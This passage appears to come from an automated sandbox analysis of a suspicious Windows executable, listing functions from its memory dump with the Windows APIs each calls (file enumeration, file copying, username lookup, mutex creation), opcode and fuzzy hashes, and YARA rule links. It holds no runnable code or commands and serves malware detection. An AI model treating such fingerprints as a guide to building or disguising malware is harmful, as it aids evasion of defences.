Instruction ID: 1c51d0ba37c19ee28015516796d6e579c61308e8af59ac4315fc9c79c0af1006
Opcode Fuzzy Hash: 424109a8b292c614aaf65317bd0374755114bd2318a58ce09dc951398c0a5778
Instruction Fuzzy Hash: C821A230A04218DFCB19DF69DD80AE9B7BAEB59301F1444BAE906D7212D7349D46CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004099B8, Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 00409A28
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00409A3C

Part of subcall function 0043E1F6: FindNextFileW.KERNEL32(?,?,?,00409A41,?,?,?,?,?,?,?,?,00000000), ref: 0043E1FF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8___std_fs_directory_iterator_open@12
String ID:
API String ID: 1204997319-0
Opcode ID: 0cabdd25068c2e5329f4032f9f912cca678fd8ade10732c658e4508cbf863079
Instruction ID: 51e97558a7b0312f957059ea0c471edfc8428a616a8bc53bad3ac9d8c710d84f
Opcode Fuzzy Hash: 0cabdd25068c2e5329f4032f9f912cca678fd8ade10732c658e4508cbf863079
Instruction Fuzzy Hash: 3821D232710645AFDF20EE65D981B9E73B8AF09318F10443FF805B62C2DB789E448B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A462, Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,?,00000000,?,0041AD60,?,?,00000244,00489F14,00000000,00489E24,?,0041B0A2), ref: 0041A481
_strlen.LIBCMT ref: 0041A488

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CurrentDirectory_strlen
String ID:
API String ID: 942933051-0
Opcode ID: 70e183c7a1fbe9c65b8c669bc5aa96527582aae3c8c5903167aa405bcc42473b
Instruction ID: 4c3b535341e69ef6dd17155f954ea4e3a403ae17a6f21d96de57615007e5e798
Opcode Fuzzy Hash: 70e183c7a1fbe9c65b8c669bc5aa96527582aae3c8c5903167aa405bcc42473b
Instruction Fuzzy Hash: 8F01FC322093056EE728563DA855BFB73D89B55720F10012FF457D6281EAA89DC2961E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D00D, Relevance: 3.0, APIs: 2, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000001,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00000000,?,0043D601,?), ref: 0043D050

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: efbc32d5486ca56611bbd5ad66fde1fda72484d0b6ecbb840c8e405a9c4f805f
Instruction ID: b74443689789ca205aadc5665c20893ae03ac4796d1cd0152bd5e5e6042296a7
Opcode Fuzzy Hash: efbc32d5486ca56611bbd5ad66fde1fda72484d0b6ecbb840c8e405a9c4f805f
Instruction Fuzzy Hash: 7901B571A007049FE3214E3998C0B67FAF8FB59B58F10413FF69582251C7B59C419625

Uniqueness

Uniqueness Score: -1.00%

Function 004353D7, Relevance: 3.0, APIs: 2, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004350C3: GetUserNameA.ADVAPI32(?,?), ref: 004350DE

OpenMutexA.KERNEL32 ref: 00435426
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00435433

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Mutex$CreateNameOpenUser
String ID:
API String ID: 1251385603-0
Opcode ID: cf3a92ee00816edca397f471f10ddeb09379e98cc28b0a946ce94f4a4c1340d8
Instruction ID: a156b0a0316c163836d1a195e920f580be5dac5ca9738254927496ae904e5dee
Opcode Fuzzy Hash: cf3a92ee00816edca397f471f10ddeb09379e98cc28b0a946ce94f4a4c1340d8
Instruction Fuzzy Hash: 96F0FC20545358BBDB04EBF558845EFBFB8AE2A294B10A0A5E442E3202E6754A49C39E

Uniqueness

Uniqueness Score: -1.00%

Function 004540E7, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045412F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9c00790912c2dc9e9f95fd045d087a4e00a3a30ec57b28d14c54a398177f0f9d
Instruction ID: 449727134fe2859832d15948721a831afad70dce4c4d26dc766dea96d61a9eff
Opcode Fuzzy Hash: 9c00790912c2dc9e9f95fd045d087a4e00a3a30ec57b28d14c54a398177f0f9d
Instruction Fuzzy Hash: 54E0A722545911529211672B7C0566F19964FD137FB11423FEC20CA5D3EE7C44CA42AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409D92, Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00409D9E

Part of subcall function 0043E1F6: FindNextFileW.KERNEL32(?,?,?,00409A41,?,?,?,?,?,?,?,?,00000000), ref: 0043E1FF

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00409DB0

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ___std_fs_directory_iterator_advance@8$FileFindNext
String ID:
API String ID: 478157137-0
Opcode ID: 8e872d04ccc673c4b39954d39825da4707b033a6543bba2f0ae80b918f6abb62
Instruction ID: ac47a3644cb165c97ea39132231fa891ec2faa0b93880a1ada231632048a68fa
Opcode Fuzzy Hash: 8e872d04ccc673c4b39954d39825da4707b033a6543bba2f0ae80b918f6abb62
Instruction Fuzzy Hash: 5BE086351501097ADF506A23CD01CAB3B3AEFD4358B00003BFD48A6A92EF39EC6396D8

Uniqueness

Uniqueness Score: -1.00%

Function 004265AD, Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GdipDisposeImage.GDIPLUS(?), ref: 004265BC
GdipFree.GDIPLUS ref: 004265CF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Gdip$DisposeFreeImage
String ID:
API String ID: 1950503971-0
Opcode ID: cdbb28401578bdda1089c27550d480bc138c2588386974b8e5c0d9ccabac8b6d
Instruction ID: 06a0b3d3caa28fc4dfb0d6fd04087b11805666e076ba17df4c0887f4aa050dfb
Opcode Fuzzy Hash: cdbb28401578bdda1089c27550d480bc138c2588386974b8e5c0d9ccabac8b6d
Instruction Fuzzy Hash: C1E0D83130422466C7251B04B8087A67BD88F01724F54C02BFE8450280DBFA5DC0C2DD

Uniqueness

Uniqueness Score: -1.00%

Function 0043DEE6, Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,18025A68,?,?,?,0043E180,?,?,00000000,18025A68,?,?,00000000,00000000), ref: 0043DEF6
GetLastError.KERNEL32(?,?,?,0043E180,?,?,00000000,18025A68), ref: 0043DF0C

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CopyErrorFileLast
String ID:
API String ID: 374144340-0
Opcode ID: 5e402e14c85bf74a650f7be811a1e9703b595e4ceec5cdd763fed7801cf02842
Instruction ID: 54f3f16075c2b05a8129d38077039ee183faf32415547a8a6da4e78d060dd38f
Opcode Fuzzy Hash: 5e402e14c85bf74a650f7be811a1e9703b595e4ceec5cdd763fed7801cf02842
Instruction Fuzzy Hash: BEE04F30904189BFDB018BA5DC48B6E7FA9AB59304F148059F84592151D6B4D541D725

Uniqueness

Uniqueness Score: -1.00%

Function 0040A5BF, Relevance: 2.6, APIs: 2, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 0040A518
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0040A51F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?), ref: 0040A6AE
HeapFree.KERNEL32(00000000), ref: 0040A6B5

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$DeallocateFreeProcess
String ID:
API String ID: 178602400-0
Opcode ID: 38e8b7313cf751bf8baa3e4cf3608156e5bd373df740e0894683efcea2bc5072
Instruction ID: 0fd07ad3bc269b19b6ba1fd6488afbc9bb669f6b95eb2785f252bae4221e999a
Opcode Fuzzy Hash: 38e8b7313cf751bf8baa3e4cf3608156e5bd373df740e0894683efcea2bc5072
Instruction Fuzzy Hash: 1D410770C0021CDADF15DBE5C994AEDB7B0BF18308F60416AE40577282DBB86E48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC7, Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbd231002f6e9d902d66585023124cde6dc38a97e2c631d5bb60d5f499ead85
Instruction ID: 601390202076f73e79daa36bdd7c79db75667fa60860ceddef7786418754fb7f
Opcode Fuzzy Hash: 8cbd231002f6e9d902d66585023124cde6dc38a97e2c631d5bb60d5f499ead85
Instruction Fuzzy Hash: 53412775600706EFCB25CF29C18095AFBF1FF4A314B108AAAE856DB7A0E735B944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00419987, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 004197AF: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0041999E,00000002,?,00000000,00000244,?,?,00419AD1,?,00000000,00000244), ref: 004197E2

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,00000244,?,?,00419AD1,?,00000000,00000244), ref: 004199B7

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e65d3636620da65ae3fdd3335adc60d5b3645895208378ab276f1740f6aa117f
Instruction ID: f7033818b47edaabbc20177c6433c28a571a3ef7a32e04e339be1e4ee2c6a2ef
Opcode Fuzzy Hash: e65d3636620da65ae3fdd3335adc60d5b3645895208378ab276f1740f6aa117f
Instruction Fuzzy Hash: E93104B1E04246ABEF14CBA5C8907EEBBA5AF81364F24416FD505E73C1E6789DC48708

Uniqueness

Uniqueness Score: -1.00%

Function 00411600, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 0041167B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: 2f065d6cdd0b73a0b6637ca711a525d574aece2d9962375be9d2d29d1dc2eee4
Instruction ID: eb8569a50d4742e3e529f229ff8b869d3561d80c8820c09cde7120d53fd7757f
Opcode Fuzzy Hash: 2f065d6cdd0b73a0b6637ca711a525d574aece2d9962375be9d2d29d1dc2eee4
Instruction Fuzzy Hash: A821FF72500214AFCB04DFA9DC80DAB7BACEF0A344B04055EF904DB212DA35E950C7E9

Uniqueness

Uniqueness Score: -1.00%

Function 004083F2, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCONCRT ref: 00408498

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::exception::exception
String ID:
API String ID: 2807920213-0
Opcode ID: e15ab119eb80b7f7c6820a66b11f3a9df500ce8b08182b857ab66b1bad799978
Instruction ID: bf09626336dab6691951214e8b90de8eeaccfb872114b556e14e79ed04a00a8c
Opcode Fuzzy Hash: e15ab119eb80b7f7c6820a66b11f3a9df500ce8b08182b857ab66b1bad799978
Instruction Fuzzy Hash: 1231087190020CDFCB11DFE5C885ADDBBB4FF18314F14841EE815A7241DB78AA85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0043D335, Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,?,0043D995,00000094,00004000), ref: 0043D3A0

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4f531c67ec977a31b010634875a83334c8ae366ea026aab1fcb94593064e3ec0
Instruction ID: 6ba42cfd844ac01b71277c7068de0b000cddcb7c80f25e8da5459fc2fdf2dca3
Opcode Fuzzy Hash: 4f531c67ec977a31b010634875a83334c8ae366ea026aab1fcb94593064e3ec0
Instruction Fuzzy Hash: BD115B31A00515BBDB05DF26D844A9ABBA4FF08764F10911AE86897620DB34ED60DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411D3A, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 004082E5

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::exception::exception
String ID:
API String ID: 2807920213-0
Opcode ID: b966a991cc2fd8c2648617ea635d512434d55a09c938d678ba5b2a3ec857c4b1
Instruction ID: f53563e2b5a0f6e1d4ef54e3fa8f20fca1d6a05310652c0c1486c49848c93f6e
Opcode Fuzzy Hash: b966a991cc2fd8c2648617ea635d512434d55a09c938d678ba5b2a3ec857c4b1
Instruction Fuzzy Hash: 65F02D719006187BC728BB66F806C9FBBAC8E01354751057FF91897241EF39E91483DD

Uniqueness

Uniqueness Score: -1.00%

Function 0045A68A, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0045A6C4

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 51b4e91efbcadbf0e83134abe6b0cf3baf32c7108e71c10a7a7ec0f3a4d61736
Instruction ID: 1a4b041798ef7d187a67e48ab92192a372cd123c96c55016216c6d70b7b4dcf0
Opcode Fuzzy Hash: 51b4e91efbcadbf0e83134abe6b0cf3baf32c7108e71c10a7a7ec0f3a4d61736
Instruction Fuzzy Hash: B8114C7190010AAFCB05DF59E94199B7BF4EF48304F05405AF805AB351D630ED15CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410684, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00408BE9: std::system_error::system_error.LIBCPMT ref: 00408C57

std::locale::_Init.LIBCPMT ref: 004106D1

Part of subcall function 0043EAA4: __EH_prolog3.LIBCMT ref: 0043EAAB
Part of subcall function 0043EAA4: std::_Lockit::_Lockit.LIBCPMT ref: 0043EAB6
Part of subcall function 0043EAA4: std::locale::_Setgloballocale.LIBCPMT ref: 0043EAD1
Part of subcall function 0043EAA4: _Yarn.LIBCPMT ref: 0043EAE7
Part of subcall function 0043EAA4: std::_Lockit::~_Lockit.LIBCPMT ref: 0043EB27

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3InitLockit::_Lockit::~_SetgloballocaleYarnstd::system_error::system_error
String ID:
API String ID: 480394121-0
Opcode ID: 533bc6df2f688d53339ab0ea072785653cb86a4e0d9faa669790ad512f5db9db
Instruction ID: 8bfcd7853d6cb031f9b8003bf4cf66bce91bb9f116f2142840af6561b46b6d7a
Opcode Fuzzy Hash: 533bc6df2f688d53339ab0ea072785653cb86a4e0d9faa669790ad512f5db9db
Instruction Fuzzy Hash: 80113AB0A00B01BFD304AF6AC5C5645FBB4FF48328F50822FE01997A81D7B4B864CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00434785, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 00434647: lstrlenW.KERNEL32(00000000,?,?,?,0043479B), ref: 004346A9
Part of subcall function 00434647: lstrcpyW.KERNEL32 ref: 004346C1
Part of subcall function 00434647: lstrcpyW.KERNEL32 ref: 004346CD

_strlen.LIBCMT ref: 0043479E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcpy$_strlenlstrlen
String ID:
API String ID: 2829409540-0
Opcode ID: 3da56ea08b2ed087a43bbcfbe11f4a418bc3000f887d9ff6efd1615d4bf219ed
Instruction ID: c2f449109c09a52a95b37ae8ff88ea8da3e8766ba06beac321a98990fd0a1318
Opcode Fuzzy Hash: 3da56ea08b2ed087a43bbcfbe11f4a418bc3000f887d9ff6efd1615d4bf219ed
Instruction Fuzzy Hash: B4112974D01155CAEB18FB66D811EEEB7359F85308F1082AFE00673682DF385A49CF68

Uniqueness

Uniqueness Score: -1.00%

Function 004197AF, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0041999E,00000002,?,00000000,00000244,?,?,00419AD1,?,00000000,00000244), ref: 004197E2

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5000b764d8d0eafec34a8729918f768d656d17a79aceafdbd302e5941d261412
Instruction ID: d11f95b841944f095efedf72ad414933357b881a0ff349bc10c5977971b8368a
Opcode Fuzzy Hash: 5000b764d8d0eafec34a8729918f768d656d17a79aceafdbd302e5941d261412
Instruction Fuzzy Hash: 0D016770624105EFEF249E158CA1BF2379DAF51758F38C467F015C9681E22ACCC39B59

Uniqueness

Uniqueness Score: -1.00%

Function 004113D9, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 00411430

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: e2404d20ab999edd65cd06d330371ce3589f1cd42dc160e6914627893892db98
Instruction ID: 9d6639c30a6cf9e2426f2973e66c5c8947616978b82386243be9165ca973e613
Opcode Fuzzy Hash: e2404d20ab999edd65cd06d330371ce3589f1cd42dc160e6914627893892db98
Instruction Fuzzy Hash: 0E01F2B2100201BFD7149F5AD881C9EBBECFB09354B24021FFA49C3251DB75AD9087B9

Uniqueness

Uniqueness Score: -1.00%

Function 0041981A, Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(000000FF,00000244,00000000,00000000,00000000,?,0000FFFF,00000244,?,00419A42,00000001,00000000,?,00000000,00000244), ref: 00419840

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 86c5e4633a813636103ddc85caae0785349f78a602a00e80bf460b162d4ea770
Instruction ID: c6faa3cf227165e6647901db3ae14aff776af6b4133decc9c9c8b515558bd521
Opcode Fuzzy Hash: 86c5e4633a813636103ddc85caae0785349f78a602a00e80bf460b162d4ea770
Instruction Fuzzy Hash: BF019A32604105BFE708CF5ADC91AAABBB9FF85344F04822AE40487651E3B0FD908BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00444F01, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced29fe87426caeea7db296356eb54965835e27e60eac9ee205dacf6aa3fb3cd
Instruction ID: 67b764cdc313d0d1e92a0b373fe8b5d3dcd58a67961797ac55da5cede9ea530c
Opcode Fuzzy Hash: ced29fe87426caeea7db296356eb54965835e27e60eac9ee205dacf6aa3fb3cd
Instruction Fuzzy Hash: 7BF0F932500A106AE6313A2AAC0575B32988FC637AF11071FFC25921D2DF7CD90F869E

Uniqueness

Uniqueness Score: -1.00%

Function 00454DB0, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 004582FD: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0045715D,00000001,00000364,00000008,000000FF,?,00440BCE,00000002,00000000,?,?), ref: 0045833E

_free.LIBCMT ref: 00454DD0

Part of subcall function 00457DD3: RtlFreeHeap.NTDLL(00000000,00000000,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?), ref: 00457DE9
Part of subcall function 00457DD3: GetLastError.KERNEL32(?,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?,?), ref: 00457DFB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: beb1fab29fea9a7bc2e9f881c6f3cbb33343cb206082c1e158fc5852a9254bde
Instruction ID: 51518b7ce820c61685fe5ccd5309977cec35b741cfed6348c3e6d38a292eeff9
Opcode Fuzzy Hash: beb1fab29fea9a7bc2e9f881c6f3cbb33343cb206082c1e158fc5852a9254bde
Instruction Fuzzy Hash: 100108B6D00219AFCB10DFA9C841A9EBBB8FB48714F10416AE914E7241E774AA55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00442F03, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00000000,?,?,0043E8F1,00000000,004854A8,?), ref: 00442F63

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 69a65c417ce7b7bd257e059fb719e10d3be6cebc33071181a79ab9a481018b90
Instruction ID: 429c2bcc8e6af426560a01ec7e7499b042b7a00f183c19994818f79747674c31
Opcode Fuzzy Hash: 69a65c417ce7b7bd257e059fb719e10d3be6cebc33071181a79ab9a481018b90
Instruction Fuzzy Hash: 2D01DF31900209ABD701DF58D990BAEBBB8EF54700F41409AFD04AB3A0E7B0AD01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00463EF0, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00463F53

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: cd4bf4b1b23c47790d9dad1c560f26b92d77e28ed8acc3cd84ab6d1a7325348a
Instruction ID: 07dea840ba7d709fce533a3433e77696e9a28b4b7e0692a280ff5c8420524308
Opcode Fuzzy Hash: cd4bf4b1b23c47790d9dad1c560f26b92d77e28ed8acc3cd84ab6d1a7325348a
Instruction Fuzzy Hash: 89018B72C00159BFCF01AFE98C01AEE7FB5AF08311F14416AFD24E21A2E6358B25DB85

Uniqueness

Uniqueness Score: -1.00%

Function 004582FD, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0045715D,00000001,00000364,00000008,000000FF,?,00440BCE,00000002,00000000,?,?), ref: 0045833E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ffeeb6eca0182dfb67a10200dff05f90d6359b168ca3ffadbde69bf9742ba072
Instruction ID: 64a426f796460c7b9f2c29fe26902151c3d698ffbf3c94ea2a959a2ddb14a417
Opcode Fuzzy Hash: ffeeb6eca0182dfb67a10200dff05f90d6359b168ca3ffadbde69bf9742ba072
Instruction Fuzzy Hash: 56F0B431605124A69B216AA29C05A5B7749AB41FA3B14442FEC05B6292DF2AD80882ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040995D, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00409976

Part of subcall function 0043E1F6: FindNextFileW.KERNEL32(?,?,?,00409A41,?,?,?,?,?,?,?,?,00000000), ref: 0043E1FF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID:
API String ID: 3878998205-0
Opcode ID: e03c9ecd2d160a2e931bc6ba7feb62ab2b2b3cf9abb17a51e6efbe1159dce56d
Instruction ID: 3345b8aeb2cb16b576a3554abbdc2a96c7800464d1cdc89bab9ffdee28e246ae
Opcode Fuzzy Hash: e03c9ecd2d160a2e931bc6ba7feb62ab2b2b3cf9abb17a51e6efbe1159dce56d
Instruction Fuzzy Hash: 0DF0B4712001045ADF346A66CE45B7BB3A8EF80305F10047FA985F32C2EB7CAC04859C

Uniqueness

Uniqueness Score: -1.00%

Function 00458F7E, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0043E8E3,00000000,?,00440BCE,00000002,00000000,?,?,?,00408226,0043E8E3,00000004,00000000,00000000,00000000), ref: 00458FB0

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aa970b3e87f6750cfb8ad2c2dcc6928982852ca66543fc2972ad42ec9ed4ddd8
Instruction ID: 60c44de772e7260334b7587e79a35e1b9f5a8c010cc9fdf20d7c700de7471b3a
Opcode Fuzzy Hash: aa970b3e87f6750cfb8ad2c2dcc6928982852ca66543fc2972ad42ec9ed4ddd8
Instruction Fuzzy Hash: CBE0A03310511067972037669C00B5BBB4B9B897A7B15002FEC44B2283DF28CC0882AD

Uniqueness

Uniqueness Score: -1.00%

Function 00409F48, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

___std_fs_copy_file@12.LIBCPMT ref: 00409F6C

Part of subcall function 0040978D: __EH_prolog2.LIBCMT ref: 00409794

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: H_prolog2___std_fs_copy_file@12
String ID:
API String ID: 1952593469-0
Opcode ID: 2fb54cbb1083ddc5771907bf00d376132e7df7b997ebfb25ecf432f34180ed20
Instruction ID: 17c7cf1e29f901a18b2e4716246a8d3d5df650adad84236d4f218e6958f19a4b
Opcode Fuzzy Hash: 2fb54cbb1083ddc5771907bf00d376132e7df7b997ebfb25ecf432f34180ed20
Instruction Fuzzy Hash: C7E0923161561163C628990E9C0995BB3AEABC6B26F10023EF818E32C1EA746D1082ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409731, Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog2.LIBCMT ref: 00409738

Part of subcall function 00442F03: KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00000000,?,?,0043E8F1,00000000,004854A8,?), ref: 00442F63

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DispatcherExceptionH_prolog2User
String ID:
API String ID: 2516269975-0
Opcode ID: d27b335656ffd0a2c4be7b8ab71efbe2c4959f8e4df2f260f4a19d54e534fd37
Instruction ID: 4556c4ec96881ecb2bedf1bb030bd626665ec7aad082b92e8cf1a142420b8c3e
Opcode Fuzzy Hash: d27b335656ffd0a2c4be7b8ab71efbe2c4959f8e4df2f260f4a19d54e534fd37
Instruction Fuzzy Hash: 67F05E7280010CABDF14EBA1CD45FDEBB78AF25308F10446EB205731A2DE785A48CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0043DDDD, Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001300,00000000,?,00000000,?,00000000,00000000), ref: 0043DDF3

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
